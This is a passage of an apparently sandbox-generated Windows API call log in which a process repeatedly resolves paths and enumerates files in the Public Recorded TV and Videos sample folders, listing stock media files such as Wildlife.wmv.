lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.600] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.600] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.600] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\", lpFilePart=0x0) returned 0x29 [0080.600] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.600] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.601] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.601] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0080.601] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0080.601] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.601] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.602] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.602] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0080.602] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.602] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.602] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.602] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.602] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.602] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.602] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.604] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.604] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.604] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.604] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0080.604] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\", lpFilePart=0x0) returned 0x17 [0080.604] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.604] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.604] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.605] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.607] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.607] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.607] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0080.607] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\", lpFilePart=0x0) returned 0x25 [0080.607] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.608] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.608] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.609] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0080.609] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, 